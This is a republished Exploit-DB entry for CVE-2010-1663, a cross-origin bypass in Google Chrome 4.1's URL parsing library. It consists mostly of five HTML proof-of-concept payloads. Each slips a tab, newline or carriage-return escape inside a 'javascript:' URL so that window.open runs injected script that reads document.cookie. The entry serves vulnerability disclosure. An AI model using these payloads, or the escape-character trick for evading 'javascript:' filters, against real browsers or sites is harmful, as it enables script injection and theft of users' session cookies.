Google Chrome 4.1.249.1059 – Cross Origin Bypass in Google URL (GURL) - 体验盒子

作者： Jordi Chancel

日期： 2010-05-19

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/12657/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

# Google Chrome 4.1.249.1059 Cross Origin Bypass in Google URL (GURL)

#

# CVE-ID: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1663

#

# Author: Jordi Chancel

#

# Software Link: http://googlechromereleases.blogspot.com/2010/04/stable-update-bug-and-security-fixes.html

#

# Description: {

# The Google URL Parsing Library (aka google-url or GURL) in Google Chrome

# before 4.1.249.1064 allows remote attackers to bypass the Same Origin Policy

# via CHARACTER TABULATION or others escape characters inside javascript: protocol string. }

#

# Some PoC :

<a href="https://www.exploit-db.com/exploits/12657/#" value="test" onclick="window.open('javascr\u0009ipt:alert(document.cookie)','test')" >Inject JavaScript</a>

----

<a href="https://www.exploit-db.com/exploits/12657/#" value="test" onclick="window.open('javascr\x09ipt:alert(document.cookie)','test')" >Inject JavaScript</a>

----

<a href="https://www.exploit-db.com/exploits/12657/#" value="test" onclick="window.open('javascr\nipt:alert(document.cookie)','test')" >Inject JavaScript</a>

----

<a href="https://www.exploit-db.com/exploits/12657/#" value="test" onclick="window.open('javascr\ript:alert(document.cookie)','test')" >Inject JavaScript</a>

----

<a href="https://www.exploit-db.com/exploits/12657/#" value="test" onclick="window.open('javascr\tipt:alert(document.cookie)','test')" >Inject JavaScript</a>

Greetz : Xylitol , Eddy Bordi , 599eme Man , Gnouf , CTZ .